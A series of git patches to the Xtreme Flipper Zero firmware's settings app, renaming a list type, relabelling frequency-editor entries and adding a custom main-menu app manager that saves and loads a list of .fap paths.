a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -194,7 +194,7 @@ XtremeApp* xtreme_app_alloc() { strlcpy(app->device_name, furi_hal_version_get_name_ptr(), NAMECHANGER_TEXT_STORE_SIZE); app->asset_pack = 0; - asset_packs_init(app->asset_packs); + CharList_init(app->asset_packs); File* folder = storage_file_alloc(storage); FileInfo info; char* name = malloc(MAX_PACK_NAME_LEN); @@ -205,14 +205,14 @@ XtremeApp* xtreme_app_alloc() { strlcpy(copy, name, MAX_PACK_NAME_LEN); uint idx = 0; if(strcmp(copy, "NSFW") != 0) { - for(; idx < asset_packs_size(app->asset_packs); idx++) { - char* comp = *asset_packs_get(app->asset_packs, idx); + for(; idx < CharList_size(app->asset_packs); idx++) { + char* comp = *CharList_get(app->asset_packs, idx); if(strcasecmp(copy, comp) < 0 && strcmp(comp, "NSFW") != 0) { break; } } } - asset_packs_push_at(app->asset_packs, idx, copy); + CharList_push_at(app->asset_packs, idx, copy); if(app->asset_pack != 0) { if(idx < app->asset_pack) app->asset_pack++; } else { @@ -251,11 +251,11 @@ void xtreme_app_free(XtremeApp* app) { FrequencyList_clear(app->subghz_static_frequencies); FrequencyList_clear(app->subghz_hopper_frequencies); - asset_packs_it_t it; - for(asset_packs_it(it, app->asset_packs); !asset_packs_end_p(it); asset_packs_next(it)) { - free(*asset_packs_cref(it)); + CharList_it_t it; + for(CharList_it(it, app->asset_packs); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); } - asset_packs_clear(app->asset_packs); + CharList_clear(app->asset_packs); furi_string_free(app->version_tag); diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index d3af90b6e..7d0f32fec 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -23,7 +23,7 @@ #define XTREME_SUBGHZ_FREQ_BUFFER_SIZE 6 -ARRAY_DEF(asset_packs, char*) +ARRAY_DEF(CharList, char*) typedef struct { Gui* gui; @@ -43,7 +43,7 @@ typedef struct { int dolphin_level; char device_name[NAMECHANGER_TEXT_STORE_SIZE]; uint asset_pack; - asset_packs_t asset_packs; + CharList_t asset_packs; FuriString* version_tag; bool save_subghz; bool save_subghz_frequencies; From de761ec4f14604506f215d6027d33545846f2d98 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 01:03:19 +0000 Subject: [PATCH 094/329] Tweak frequency editor naming --- .../scenes/xtreme_app_scene_protocols_frequencies_hopper.c | 6 +++--- .../scenes/xtreme_app_scene_protocols_frequencies_static.c | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c index 24c7fe3cc..6068c590c 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c @@ -2,7 +2,7 @@ enum VarItemListIndex { VarItemListIndexHopperFrequency, - VarItemListIndexDeleteHopperFreq, + VarItemListIndexRemoveHopperFreq, VarItemListIndexAddHopperFreq, }; @@ -45,7 +45,7 @@ void xtreme_app_scene_protocols_frequencies_hopper_on_enter(void* context) { variable_item_set_current_value_text(item, "None"); } - variable_item_list_add(var_item_list, "Delete Hopper Freq", 0, NULL, app); + variable_item_list_add(var_item_list, "Remove Hopper Freq", 0, NULL, app); variable_item_list_add(var_item_list, "Add Hopper Freq", 0, NULL, app); @@ -69,7 +69,7 @@ bool xtreme_app_scene_protocols_frequencies_hopper_on_event(void* context, Scene app->scene_manager, XtremeAppSceneProtocolsFrequenciesHopper, event.event); consumed = true; switch(event.event) { - case VarItemListIndexDeleteHopperFreq: + case VarItemListIndexRemoveHopperFreq: if(!FrequencyList_size(app->subghz_hopper_frequencies)) break; uint32_t value = *FrequencyList_get(app->subghz_hopper_frequencies, app->subghz_hopper_index); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c index 4d70a1a58..da485cbc0 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c @@ -2,7 +2,7 @@ enum VarItemListIndex { VarItemListIndexStaticFrequency, - VarItemListIndexDeleteStaticFreq, + VarItemListIndexRemoveStaticFreq, VarItemListIndexAddStaticFreq, }; @@ -45,7 +45,7 @@ void xtreme_app_scene_protocols_frequencies_static_on_enter(void* context) { variable_item_set_current_value_text(item, "None"); } - variable_item_list_add(var_item_list, "Delete Static Freq", 0, NULL, app); + variable_item_list_add(var_item_list, "Remove Static Freq", 0, NULL, app); variable_item_list_add(var_item_list, "Add Static Freq", 0, NULL, app); @@ -69,7 +69,7 @@ bool xtreme_app_scene_protocols_frequencies_static_on_event(void* context, Scene app->scene_manager, XtremeAppSceneProtocolsFrequenciesStatic, event.event); consumed = true; switch(event.event) { - case VarItemListIndexDeleteStaticFreq: + case VarItemListIndexRemoveStaticFreq: if(!FrequencyList_size(app->subghz_static_frequencies)) break; uint32_t value = *FrequencyList_get(app->subghz_static_frequencies, app->subghz_static_index); From 7795d143d6de1d8d33e5e0bd005c16478c0aa600 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 01:51:33 +0000 Subject: [PATCH 095/329] Xfw app initial custom app manager interface --- .../scenes/xtreme_app_scene_config.h | 2 + .../scenes/xtreme_app_scene_mainmenu.c | 96 +++++++++++++++++++ .../scenes/xtreme_app_scene_mainmenu_add.c | 69 +++++++++++++ .../scenes/xtreme_app_scene_start.c | 5 + applications/main/xtreme_app/xtreme_app.c | 2 + applications/main/xtreme_app/xtreme_app.h | 9 +- 6 files changed, 181 insertions(+), 2 deletions(-) create mode 100644 applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c create mode 100644 applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h index a7370f9b4..ebe9226ff 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_config.h @@ -1,5 +1,7 @@ ADD_SCENE(xtreme_app, start, Start) ADD_SCENE(xtreme_app, graphics, Graphics) +ADD_SCENE(xtreme_app, mainmenu, Mainmenu) +ADD_SCENE(xtreme_app, mainmenu_add, MainmenuAdd) ADD_SCENE(xtreme_app, statusbar, Statusbar) ADD_SCENE(xtreme_app, protocols, Protocols) ADD_SCENE(xtreme_app, protocols_frequencies, ProtocolsFrequencies) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c new file mode 100644 index 000000000..01f3afb06 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c @@ -0,0 +1,96 @@ +#include "../xtreme_app.h" + +enum VarItemListIndex { + VarItemListIndexApp, + VarItemListIndexRemoveApp, + VarItemListIndexAddApp, +}; + +void xtreme_app_scene_mainmenu_var_item_list_callback( + void* context, + uint32_t index) { + XtremeApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, index); +} + +static void xtreme_app_scene_mainmenu_app_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + app->mainmenu_app_index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps, app->mainmenu_app_index)); +} + +void xtreme_app_scene_mainmenu_on_enter(void* context) { + XtremeApp* app = context; + VariableItemList* var_item_list = app->var_item_list; + VariableItem* item; + + item = variable_item_list_add( + var_item_list, + "App", + CharList_size(app->mainmenu_apps), + xtreme_app_scene_mainmenu_app_changed, + app); + app->mainmenu_app_index = 0; + variable_item_set_current_value_index(item, app->mainmenu_app_index); + if(CharList_size(app->mainmenu_apps)) { + variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps, app->mainmenu_app_index)); + } else { + variable_item_set_current_value_text(item, "None"); + } + + variable_item_list_add(var_item_list, "Remove App", 0, NULL, app); + + variable_item_list_add(var_item_list, "Add App", 0, NULL, app); + + variable_item_list_set_enter_callback( + var_item_list, xtreme_app_scene_mainmenu_var_item_list_callback, app); + + variable_item_list_set_selected_item( + var_item_list, + scene_manager_get_scene_state( + app->scene_manager, XtremeAppSceneMainmenu)); + + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); +} + +bool xtreme_app_scene_mainmenu_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneMainmenu, event.event); + consumed = true; + switch(event.event) { + case VarItemListIndexRemoveApp: + if(!CharList_size(app->mainmenu_apps)) break; + char* value = + *CharList_get(app->mainmenu_apps, app->mainmenu_app_index); + CharList_it_t it; + CharList_it(it, app->mainmenu_apps); + while(!CharList_end_p(it)) { + if(strcmp(*CharList_ref(it), value) == 0) { + CharList_remove(app->mainmenu_apps, it); + } else { + CharList_next(it); + } + } + app->save_mainmenu_apps = true; + scene_manager_previous_scene(app->scene_manager); + scene_manager_next_scene(app->scene_manager, XtremeAppSceneMainmenu); + break; + case VarItemListIndexAddApp: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneMainmenuAdd); + break; + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_mainmenu_on_exit(void* context) { + XtremeApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c new file mode 100644 index 000000000..7865a84a0 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c @@ -0,0 +1,69 @@ +#include "../xtreme_app.h" + +enum FileBrowserResult { + FileBrowserResultOk, +}; + +static bool xtreme_app_scene_mainmenu_add_file_browser_callback( + FuriString* file_path, + void* context, + uint8_t** icon_ptr, + FuriString* item_name) { + UNUSED(context); +// #ifndef APP_FAP_LOADER +// Storage* storage = furi_record_open(RECORD_STORAGE); +// bool success = fap_loader_load_name_and_icon(file_path, storage, icon_ptr, item_name); +// furi_record_close(RECORD_STORAGE); +// #else + UNUSED(file_path); + UNUSED(icon_ptr); + UNUSED(item_name); + bool success = false; +// #endif + return success; +} + +void xtreme_app_scene_mainmenu_add_on_enter(void* context) { + XtremeApp* app = context; + FuriString* file_path = furi_string_alloc_set_str(EXT_PATH("apps")); + + const DialogsFileBrowserOptions browser_options = { + .extension = ".fap", + .skip_assets = true, + .hide_ext = true, + .item_loader_callback = xtreme_app_scene_mainmenu_add_file_browser_callback, + .item_loader_context = app, + .base_path = EXT_PATH("apps"), + }; + + if(dialog_file_browser_show(app->dialogs, file_path, file_path, &browser_options)) { + CharList_push_back(app->mainmenu_apps, strdup(furi_string_get_cstr(file_path))); + app->save_mainmenu_apps = true; + } + + furi_string_free(file_path); + + view_dispatcher_send_custom_event(app->view_dispatcher, FileBrowserResultOk); +} + +bool xtreme_app_scene_mainmenu_add_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + consumed = true; + switch(event.event) { + case FileBrowserResultOk: + scene_manager_previous_scene(app->scene_manager); + break; + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_mainmenu_add_on_exit(void* context) { + UNUSED(context); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c index c1c7659fc..f2a75cd1a 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c @@ -2,6 +2,7 @@ enum VarItemListIndex { VarItemListIndexGraphics, + VarItemListIndexMainmenu, VarItemListIndexStatusbar, VarItemListIndexProtocols, VarItemListIndexDolphin, @@ -18,6 +19,7 @@ void xtreme_app_scene_start_on_enter(void* context) { VariableItemList* var_item_list = app->var_item_list; variable_item_list_add(var_item_list, "Graphics", 0, NULL, app); + variable_item_list_add(var_item_list, "Mainmenu", 0, NULL, app); variable_item_list_add(var_item_list, "Statusbar", 0, NULL, app); variable_item_list_add(var_item_list, "Protocols", 0, NULL, app); variable_item_list_add(var_item_list, "Dolphin", 0, NULL, app); @@ -45,6 +47,9 @@ bool xtreme_app_scene_start_on_event(void* context, SceneManagerEvent event) { case VarItemListIndexGraphics: scene_manager_next_scene(app->scene_manager, XtremeAppSceneGraphics); break; + case VarItemListIndexMainmenu: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneMainmenu); + break; case VarItemListIndexStatusbar: scene_manager_next_scene(app->scene_manager, XtremeAppSceneStatusbar); break; diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index c25543b62..dadb0fd43 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -125,6 +125,7 @@ static bool xtreme_app_back_event_callback(void* context) { XtremeApp* xtreme_app_alloc() { XtremeApp* app = malloc(sizeof(XtremeApp)); app->gui = furi_record_open(RECORD_GUI); + app->dialogs = furi_record_open(RECORD_DIALOGS); // View Dispatcher and Scene Manager app->view_dispatcher = view_dispatcher_alloc(); @@ -260,6 +261,7 @@ void xtreme_app_free(XtremeApp* app) { furi_string_free(app->version_tag); // Records + furi_record_close(RECORD_DIALOGS); furi_record_close(RECORD_GUI); free(app); } diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index 7d0f32fec..4f6c6ee4c 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -5,6 +5,7 @@ #include #include #include +#include #include #include #include @@ -27,11 +28,16 @@ ARRAY_DEF(CharList, char*) typedef struct { Gui* gui; + DialogsApp* dialogs; SceneManager* scene_manager; ViewDispatcher* view_dispatcher; VariableItemList* var_item_list; TextInput* text_input; Popup* popup; + uint asset_pack; + CharList_t asset_packs; + CharList_t mainmenu_apps; + uint8_t mainmenu_app_index; bool subghz_use_defaults; FrequencyList_t subghz_static_frequencies; uint8_t subghz_static_index; @@ -42,9 +48,8 @@ typedef struct { bool subghz_bypass; int dolphin_level; char device_name[NAMECHANGER_TEXT_STORE_SIZE]; - uint asset_pack; - CharList_t asset_packs; FuriString* version_tag; + bool save_mainmenu_apps; bool save_subghz; bool save_subghz_frequencies; bool save_level; From 220b67372ee795fce5ba90eb850c337024b4bda1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 02:27:52 +0000 Subject: [PATCH 096/329] Expose fap_loader_load_name_and_icon in API --- applications/main/fap_loader/application.fam | 3 +++ firmware/targets/f7/api_symbols.csv | 2 ++ 2 files changed, 5 insertions(+) diff --git a/applications/main/fap_loader/application.fam b/applications/main/fap_loader/application.fam index 4f526da1b..5e9376643 100644 --- a/applications/main/fap_loader/application.fam +++ b/applications/main/fap_loader/application.fam @@ -11,4 +11,7 @@ App( stack_size=int(1.5 * 1024), icon="A_Plugins_14", order=9, + sdk_headers=[ + "fap_loader_app.h", + ], ) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 477a2ca33..a08f2ed4f 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,6 @@ entry,status,name,type,params Version,+,18.1,, +Header,+,applications/main/fap_loader/fap_loader_app.h,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -866,6 +867,7 @@ Function,-,expm1l,long double,long double Function,-,fabs,double,double Function,-,fabsf,float,float Function,-,fabsl,long double,long double +Function,+,fap_loader_load_name_and_icon,_Bool,"FuriString*, Storage*, uint8_t**, FuriString*" Function,-,fclose,int,FILE* Function,-,fcloseall,int, Function,-,fdim,double,"double, double" From a5fb4da2f910553eae2c777927e215fe23f05f8c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 04:35:36 +0000 Subject: [PATCH 097/329] Xfw custom app manager improvements --- .../scenes/xtreme_app_scene_mainmenu.c | 25 ++---- .../scenes/xtreme_app_scene_mainmenu_add.c | 26 +++--- applications/main/xtreme_app/xtreme_app.c | 89 +++++++++++-------- applications/main/xtreme_app/xtreme_app.h | 4 +- 4 files changed, 74 insertions(+), 70 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c index 01f3afb06..a085fb0ea 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu.c @@ -16,7 +16,7 @@ void xtreme_app_scene_mainmenu_var_item_list_callback( static void xtreme_app_scene_mainmenu_app_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->mainmenu_app_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps, app->mainmenu_app_index)); + variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps_names, app->mainmenu_app_index)); } void xtreme_app_scene_mainmenu_on_enter(void* context) { @@ -27,13 +27,13 @@ void xtreme_app_scene_mainmenu_on_enter(void* context) { item = variable_item_list_add( var_item_list, "App", - CharList_size(app->mainmenu_apps), + CharList_size(app->mainmenu_apps_names), xtreme_app_scene_mainmenu_app_changed, app); app->mainmenu_app_index = 0; variable_item_set_current_value_index(item, app->mainmenu_app_index); - if(CharList_size(app->mainmenu_apps)) { - variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps, app->mainmenu_app_index)); + if(CharList_size(app->mainmenu_apps_names)) { + variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_apps_names, app->mainmenu_app_index)); } else { variable_item_set_current_value_text(item, "None"); } @@ -63,19 +63,12 @@ bool xtreme_app_scene_mainmenu_on_event(void* context, SceneManagerEvent event) consumed = true; switch(event.event) { case VarItemListIndexRemoveApp: - if(!CharList_size(app->mainmenu_apps)) break; - char* value = - *CharList_get(app->mainmenu_apps, app->mainmenu_app_index); - CharList_it_t it; - CharList_it(it, app->mainmenu_apps); - while(!CharList_end_p(it)) { - if(strcmp(*CharList_ref(it), value) == 0) { - CharList_remove(app->mainmenu_apps, it); - } else { - CharList_next(it); - } - } + if(!CharList_size(app->mainmenu_apps_names)) break; + if(!CharList_size(app->mainmenu_apps_paths)) break; + CharList_remove_v(app->mainmenu_apps_names, app->mainmenu_app_index, app->mainmenu_app_index + 1); + CharList_remove_v(app->mainmenu_apps_paths, app->mainmenu_app_index, app->mainmenu_app_index + 1); app->save_mainmenu_apps = true; + app->require_reboot = true; scene_manager_previous_scene(app->scene_manager); scene_manager_next_scene(app->scene_manager, XtremeAppSceneMainmenu); break; diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c index 7865a84a0..af8733e97 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_mainmenu_add.c @@ -10,22 +10,15 @@ static bool xtreme_app_scene_mainmenu_add_file_browser_callback( uint8_t** icon_ptr, FuriString* item_name) { UNUSED(context); -// #ifndef APP_FAP_LOADER -// Storage* storage = furi_record_open(RECORD_STORAGE); -// bool success = fap_loader_load_name_and_icon(file_path, storage, icon_ptr, item_name); -// furi_record_close(RECORD_STORAGE); -// #else - UNUSED(file_path); - UNUSED(icon_ptr); - UNUSED(item_name); - bool success = false; -// #endif + Storage* storage = furi_record_open(RECORD_STORAGE); + bool success = fap_loader_load_name_and_icon(file_path, storage, icon_ptr, item_name); + furi_record_close(RECORD_STORAGE); return success; } void xtreme_app_scene_mainmenu_add_on_enter(void* context) { XtremeApp* app = context; - FuriString* file_path = furi_string_alloc_set_str(EXT_PATH("apps")); + FuriString* string = furi_string_alloc_set_str(EXT_PATH("apps")); const DialogsFileBrowserOptions browser_options = { .extension = ".fap", @@ -36,12 +29,17 @@ void xtreme_app_scene_mainmenu_add_on_enter(void* context) { .base_path = EXT_PATH("apps"), }; - if(dialog_file_browser_show(app->dialogs, file_path, file_path, &browser_options)) { - CharList_push_back(app->mainmenu_apps, strdup(furi_string_get_cstr(file_path))); + if(dialog_file_browser_show(app->dialogs, string, string, &browser_options)) { + CharList_push_back(app->mainmenu_apps_paths, strdup(furi_string_get_cstr(string))); + Storage* storage = furi_record_open(RECORD_STORAGE); + fap_loader_load_name_and_icon(string, storage, NULL, string); + furi_record_close(RECORD_STORAGE); + CharList_push_back(app->mainmenu_apps_names, strdup(furi_string_get_cstr(string))); app->save_mainmenu_apps = true; + app->require_reboot = true; } - furi_string_free(file_path); + furi_string_free(string); view_dispatcher_send_custom_event(app->view_dispatcher, FileBrowserResultOk); } diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index dadb0fd43..6c639fcbc 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -158,44 +158,9 @@ XtremeApp* xtreme_app_alloc() { XtremeSettings* xtreme_settings = XTREME_SETTINGS(); - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - FrequencyList_init(app->subghz_static_frequencies); - FrequencyList_init(app->subghz_hopper_frequencies); - app->subghz_use_defaults = true; - do { - uint32_t temp; - if(!flipper_format_file_open_existing(file, EXT_PATH("subghz/assets/setting_user"))) break; - - flipper_format_read_bool(file, "Add_standard_frequencies", &app->subghz_use_defaults, 1); - - if(!flipper_format_rewind(file)) break; - while(flipper_format_read_uint32(file, "Frequency", &temp, 1)) { - if(furi_hal_subghz_is_frequency_valid(temp)) { - FrequencyList_push_back(app->subghz_static_frequencies, temp); - } - } - - if(!flipper_format_rewind(file)) break; - while(flipper_format_read_uint32(file, "Hopper_frequency", &temp, 1)) { - if(furi_hal_subghz_is_frequency_valid(temp)) { - FrequencyList_push_back(app->subghz_hopper_frequencies, temp); - } - } - } while(false); - flipper_format_free(file); - - furi_hal_subghz_get_extend_settings(&app->subghz_extend, &app->subghz_bypass); - - Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); - DolphinStats stats = dolphin_stats(dolphin); - app->dolphin_level = stats.level; - furi_record_close(RECORD_DOLPHIN); - - strlcpy(app->device_name, furi_hal_version_get_name_ptr(), NAMECHANGER_TEXT_STORE_SIZE); - app->asset_pack = 0; CharList_init(app->asset_packs); + Storage* storage = furi_record_open(RECORD_STORAGE); File* folder = storage_file_alloc(storage); FileInfo info; char* name = malloc(MAX_PACK_NAME_LEN); @@ -224,8 +189,46 @@ XtremeApp* xtreme_app_alloc() { } free(name); storage_file_free(folder); + + CharList_init(app->mainmenu_apps_names); + CharList_init(app->mainmenu_apps_paths); + + FlipperFormat* file = flipper_format_file_alloc(storage); + FrequencyList_init(app->subghz_static_frequencies); + FrequencyList_init(app->subghz_hopper_frequencies); + app->subghz_use_defaults = true; + do { + uint32_t temp; + if(!flipper_format_file_open_existing(file, EXT_PATH("subghz/assets/setting_user"))) break; + + flipper_format_read_bool(file, "Add_standard_frequencies", &app->subghz_use_defaults, 1); + + if(!flipper_format_rewind(file)) break; + while(flipper_format_read_uint32(file, "Frequency", &temp, 1)) { + if(furi_hal_subghz_is_frequency_valid(temp)) { + FrequencyList_push_back(app->subghz_static_frequencies, temp); + } + } + + if(!flipper_format_rewind(file)) break; + while(flipper_format_read_uint32(file, "Hopper_frequency", &temp, 1)) { + if(furi_hal_subghz_is_frequency_valid(temp)) { + FrequencyList_push_back(app->subghz_hopper_frequencies, temp); + } + } + } while(false); + flipper_format_free(file); furi_record_close(RECORD_STORAGE); + furi_hal_subghz_get_extend_settings(&app->subghz_extend, &app->subghz_bypass); + + Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); + DolphinStats stats = dolphin_stats(dolphin); + app->dolphin_level = stats.level; + furi_record_close(RECORD_DOLPHIN); + + strlcpy(app->device_name, furi_hal_version_get_name_ptr(), NAMECHANGER_TEXT_STORE_SIZE); + app->version_tag = furi_string_alloc_printf("%s %s", version_get_version(NULL), version_get_builddate(NULL)); @@ -249,14 +252,22 @@ void xtreme_app_free(XtremeApp* app) { // Settings deinit - FrequencyList_clear(app->subghz_static_frequencies); - FrequencyList_clear(app->subghz_hopper_frequencies); - CharList_it_t it; for(CharList_it(it, app->asset_packs); !CharList_end_p(it); CharList_next(it)) { free(*CharList_cref(it)); } CharList_clear(app->asset_packs); + for(CharList_it(it, app->mainmenu_apps_names); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); + } + CharList_clear(app->mainmenu_apps_names); + for(CharList_it(it, app->mainmenu_apps_paths); !CharList_end_p(it); CharList_next(it)) { + free(*CharList_cref(it)); + } + CharList_clear(app->mainmenu_apps_paths); + + FrequencyList_clear(app->subghz_static_frequencies); + FrequencyList_clear(app->subghz_hopper_frequencies); furi_string_free(app->version_tag); diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index 4f6c6ee4c..ddb7c3879 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -18,6 +18,7 @@ #include "dolphin/dolphin_i.h" #include #include +#include #include #include "xtreme/settings.h" #include "xtreme/assets.h" @@ -36,7 +37,8 @@ typedef struct { Popup* popup; uint asset_pack; CharList_t asset_packs; - CharList_t mainmenu_apps; + CharList_t mainmenu_apps_names; + CharList_t mainmenu_apps_paths; uint8_t mainmenu_app_index; bool subghz_use_defaults; FrequencyList_t subghz_static_frequencies; From fd9525976e9902739669059bc51aaaaa45147a5c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 04:53:36 +0000 Subject: [PATCH 098/329] Xfw custom app manager actually save and load list --- applications/main/xtreme_app/xtreme_app.c | 27 +++++++++++++++++++ applications/main/xtreme_app/xtreme_app.h | 1 + applications/services/xtreme/settings.h | 2 ++ .../services/xtreme/settings_filename.h | 1 + 4 files changed, 31 insertions(+) diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index 6c639fcbc..bb3449f4a 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -18,6 +18,19 @@ static bool xtreme_app_back_event_callback(void* context) { if(!scene_manager_has_previous_scene(app->scene_manager, XtremeAppSceneStart)) { Storage* storage = furi_record_open(RECORD_STORAGE); + if(app->save_mainmenu_apps) { + Stream* stream = file_stream_alloc(storage); + if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)){ + CharList_it_t it; + CharList_it(it, app->mainmenu_apps_paths); + for(uint i = 0; i < CharList_size(app->mainmenu_apps_paths); i++) { + stream_write_format(stream, "%s\n", *CharList_get(app->mainmenu_apps_paths, i)); + } + } + file_stream_close(stream); + stream_free(stream); + } + if(app->save_subghz) { furi_hal_subghz_set_extend_settings(app->subghz_extend, app->subghz_bypass); } @@ -192,6 +205,20 @@ XtremeApp* xtreme_app_alloc() { CharList_init(app->mainmenu_apps_names); CharList_init(app->mainmenu_apps_paths); + Stream* stream = file_stream_alloc(storage); + FuriString* line = furi_string_alloc(); + if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { + while(stream_read_line(stream, line)) { + furi_string_replace_all(line, "\r", ""); + furi_string_replace_all(line, "\n", ""); + CharList_push_back(app->mainmenu_apps_paths, strdup(furi_string_get_cstr(line))); + fap_loader_load_name_and_icon(line, storage, NULL, line); + CharList_push_back(app->mainmenu_apps_names, strdup(furi_string_get_cstr(line))); + } + } + furi_string_free(line); + file_stream_close(stream); + stream_free(stream); FlipperFormat* file = flipper_format_file_alloc(storage); FrequencyList_init(app->subghz_static_frequencies); diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index ddb7c3879..69834039a 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -11,6 +11,7 @@ #include #include #include +#include #include #include "scenes/xtreme_app_scene.h" #include "dolphin/helpers/dolphin_state.h" diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index 4375a3170..13c429446 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -20,6 +20,8 @@ extern "C" { #define XTREME_SETTINGS_PATH EXT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_MAGIC (0x69) +#define XTREME_APPS_PATH EXT_PATH(XTREME_APPS_FILE_NAME) + // Some settings function backwards (logically) in // order to fit the default value we want // (values will default to 0 / false) diff --git a/applications/services/xtreme/settings_filename.h b/applications/services/xtreme/settings_filename.h index c2706c76e..be3c467bc 100644 --- 